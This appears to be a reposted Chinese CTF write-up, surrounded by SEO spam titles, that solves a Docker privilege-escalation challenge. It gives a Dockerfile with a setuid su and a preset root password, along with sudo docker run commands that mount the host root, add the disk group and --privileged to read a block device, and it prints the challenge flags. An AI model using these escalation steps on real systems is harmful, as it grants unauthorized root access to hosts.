您的位置:首页 > 健康 > 养生 > 免费制作链接的软件_青岛网站关键词排名优化_厦门人才网最新招聘信息_seo软件排行榜前十名

免费制作链接的软件_青岛网站关键词排名优化_厦门人才网最新招聘信息_seo软件排行榜前十名

2025/4/2 11:19:56 来源:https://blog.csdn.net/weixin_73049307/article/details/144130626  浏览:    关键词:免费制作链接的软件_青岛网站关键词排名优化_厦门人才网最新招聘信息_seo软件排行榜前十名
免费制作链接的软件_青岛网站关键词排名优化_厦门人才网最新招聘信息_seo软件排行榜前十名

直接告诉我们flag在/flag中,访问第一小题:

sudo -l查看允许提权执行的命令:

发现有image load命令


题目指明了有rz命令,可以用ZMODEM接收文件,看到一些write up说可以用XShell、MobaXterm、Tabby Terminal等软件连接上传,使用MobaXterm复制粘贴token后按Enter键出现^M

经过查询了解需要做出如下修改:


rz命令显示如下:

搜索得到的解决方案:

兜兜转转还是得XShell,改用XShell进行操作,先随便上传一个1.txt:

但是传输速率是0,这就很奇怪了

what can i say?


换成Tabby Terminal继续操作,同样地,得修改一下telnet的配置:

(注意:右键自动粘贴token不会被显示,输入结束后按Ctrl J即可开始题目)


rz一个1.txt发现被rejected了:


后面了解到~目录的权限是“只读”:

切换到/tmp目录下就行了


在一篇文章中提到了,可以让docker里的用户运行一个镜像用su提权到root,待会就制作一个类似的镜像:

https://www.mendelowski.com/til/2024/07/no-new-privileges-docker


先制作镜像:

(注意:镜像名字需要小写字母,不然会报错,忘记截图了)

FROM busybox:latest# Create a new user
RUN adduser -D -u 1000 user && \# Set root passwordecho "root:root" | chpasswd && \# Make sure su has correct permissionschmod u+s /bin/su# Switch to the new user
USER user
WORKDIR /home/userCMD ["/bin/sh"]

docker build -t dockerfile:latest .命令构建docker镜像:

docker images查看镜像:

docker save -o dockerfile.tar dockerfile:latest命令将镜像导出为tar文件:

gzip dockerfile.tar命令将dockerfile.tar压缩成dockerfile.tar.gz文件并且将dockerfile.tar.gz下载到本地Windows再上传到/tmp中:

(注意:这里不知道为什么直接从VMare中复制粘贴到Windows中会失败,用MobaXterm没反应,用XShell倒是正常)


上传dockerfile.tar.gz:

(这里我以为上传dockerfile.tar卡住了,就想着会不会是文件类型的原因,压缩成.tar.gz后再上传dockerfile.tar.gz,但其实只是单纯的延迟问题)


gunzip dockerfile.tar.gz命令解压:


sudo docker image load < dockerfile.tar命令载入镜像:


因为在开头的sudo -l命令指明了docker run需要用低权限的uid 1000运行容器,-v /:/host是将主机的根目录直接挂载到了容器里:

运行docker镜像:

sudo docker run --rm -u 1000:1000 -v /:/host -it dockerfile命令:

(运行之后会进入到/bin/sh终端中)

开头的sudo -l命令:


进入到/host目录,发现/flag指向的是/dev/vdb设备块,而/dev/vdb的属组是 disk,/dev/vdb的读取权限是对用户组开放的,因此不需要指定容器用户为root,只需要指定用户组disk就有读取权限了:


exit退出,重新运行docker镜像并指定用户组disk:

sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host -it dockerfile命令:

发现这次不是Permission denied了,而是Operation not permitted

后面了解到docker默认不允许容器对设备块进行操作


但可以添加参数--privileged=true授予操作设备块的能力:

sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host --privileged=true -it dockerfile命令和cat /host/dev/vdb命令:

成功得到flag:

flag{dONT_1OAD_uNTRusT3D_1ma6e_f2c2c2f7d1_plz!}


更推荐使用下面的命令:

或者docker image load < dockerfile.tar后也可以使用如下命令:

dockerv:/tmp$ sudo docker run --rm -u 1000:1000 -v /flag:/flag -v /dev:/dev --pr
ivileged --pid=host --cap-add=SYS_ADMIN reader_busybox1 whoami
user
dockerv:/tmp$ sudo docker run --rm -u 1000:1000  -it -v /flag:/flag -v /dev:/dev--privileged --pid=host --cap-add=SYS_ADMIN reader_busybox1
~ $ su root
Password:
/home/user # cat /flag
flag{dONT_1OAD_uNTRusT3D_1ma6e_253cb5a83d_plz!}

附上删除docker镜像命令:

docker rmi dockerfile命令:

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com